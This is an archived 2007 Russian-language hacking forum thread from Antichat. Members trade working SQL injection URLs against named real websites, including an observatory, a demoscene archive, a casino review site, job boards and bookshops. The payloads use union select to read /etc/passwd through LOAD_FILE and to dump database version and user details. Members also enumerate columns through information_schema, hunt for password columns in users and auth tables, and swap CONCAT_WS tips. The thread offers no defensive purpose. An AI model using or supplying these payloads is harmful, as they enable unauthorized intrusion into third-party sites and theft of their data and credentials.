ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1081  
Старый 16.03.2007, 23:03
Аватар для kamaz
kamaz
Познающий
Регистрация: 31.01.2007
Сообщений: 88
Провел на форуме:
631013

Репутация: 453
Отправить сообщение для kamaz с помощью ICQ
По умолчанию

Цитата:
http://www.keckobservatory.org/article.php?id=-98%20union%20select%201,LOAD_FILE(0x2f6574632f7061 73737764),3,4,5,6,7,8/*
Пожалуйста

З.ы Spyder - жжошь... правда последний char в адресную строку не поместился.

Последний раз редактировалось kamaz; 16.03.2007 в 23:05..
 
Ответить с цитированием

  #1082  
Старый 16.03.2007, 23:05
Аватар для n1†R0x
n1†R0x
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме:
2924346

Репутация: 1719


Отправить сообщение для n1†R0x с помощью ICQ
По умолчанию

что-то я седня не в форме
Код:
http://www.pouet.net/prod.php?which=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+users/*
колонки опять не подобрал........... ппц (
версия 5.
 
Ответить с цитированием

  #1083  
Старый 16.03.2007, 23:15
Аватар для kamaz
kamaz
Познающий
Регистрация: 31.01.2007
Сообщений: 88
Провел на форуме:
631013

Репутация: 453
Отправить сообщение для kamaz с помощью ICQ
По умолчанию

n1†R0x

Цитата:
http://www.pouet.net/prod.php?which=-1+union+select+1,2,3,4,5,6,column_name,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, 29,30+from%20information_schema.columns%20where%20 table_name=char(117,115,101,114,115)%20limit%201,2/*
Колонки то есть, но вот колонку с паролем не нашел ))
 
Ответить с цитированием

  #1084  
Старый 16.03.2007, 23:19
Аватар для Ksander
Ksander
Постоянный
Регистрация: 21.06.2006
Сообщений: 931
Провел на форуме:
4836047

Репутация: 930


По умолчанию

www.casinoratgeber.com

Переходим на казино =)
Код:
http://www.casinoratgeber.com/index.php?bid=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
 
Ответить с цитированием

  #1085  
Старый 16.03.2007, 23:23
Аватар для n1†R0x
n1†R0x
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме:
2924346

Репутация: 1719


Отправить сообщение для n1†R0x с помощью ICQ
По умолчанию

Цитата:
Сообщение от kamaz  
n1†R0x



Колонки то есть, но вот колонку с паролем не нашел ))
аналогично)
ps:
Код:
http://www.ipspackaging.com/packaging.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
ничего стандартное не подошло
 
Ответить с цитированием

  #1086  
Старый 16.03.2007, 23:28
Аватар для Helios
Helios
Постоянный
Регистрация: 14.01.2007
Сообщений: 459
Провел на форуме:
1469995

Репутация: 589
Отправить сообщение для Helios с помощью ICQ
По умолчанию

Еще скули:

Код:
http://itjob.dp.ua/search.php3?whatlooking=vacancies&searchtype=browse&category=9'
Кол-во полей так и не подобрал(( При 16 ошибок 2 в других случаях 1

http://itjob.dp.ua/product.php3?product=-1 union select 1,2,user(),4,5,6,7/*
http://itjob.dp.ua/product.php3?product=-1 union select 1,2,user(),4,5,6/*
Работает и та и та, ток выводит в разных местах)

Последний раз редактировалось Helios; 16.03.2007 в 23:32..
 
Ответить с цитированием

  #1087  
Старый 16.03.2007, 23:39
Аватар для Ksander
Ksander
Постоянный
Регистрация: 21.06.2006
Сообщений: 931
Провел на форуме:
4836047

Репутация: 930


По умолчанию

Цитата:
Сообщение от Helios  
Еще скули:
Не трогать, она моя ща доделаю =)


Вот, щас колонки пробью.

Код:
http://itjob.dp.ua/product.php3?product=-1+union+select+1,2,3,4,5,6,7+from+auth/*
Код:
http://itjob.dp.ua/product.php3?product=-1+union+select+1,2,name,4,5,6,7+from+auth/*
Пасс чет не идет =(

Последний раз редактировалось Ksander; 16.03.2007 в 23:54..
 
Ответить с цитированием

  #1088  
Старый 16.03.2007, 23:39
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Цитата:
http://www.harsky.ru/index.php?type=6&act=Article&id=-11+union+select+1,CONCAT_WS(char(58),version(),use r(),database()),3,4,5,6,7,8,9,10,11
Цитата:
http://volvo-faq.auto.ru/flame/bookmark/view_group.php?id=-8+union+select+1,2,CONCAT_WS(char(58),version(),us er(),database()),4,5,6,7,8
=\
CONCAT_WS рулит =\

Последний раз редактировалось Spyder; 16.03.2007 в 23:43..
 
Ответить с цитированием

  #1089  
Старый 17.03.2007, 00:17
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Код:
http://bookashop.ru/book/?book=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8,9,10,11,12,13,14/*
 
Ответить с цитированием

  #1090  
Старый 17.03.2007, 00:19
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Grey, проще использовать функцию CONCAT_WS(разделитель,строка1,с рока2,...)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ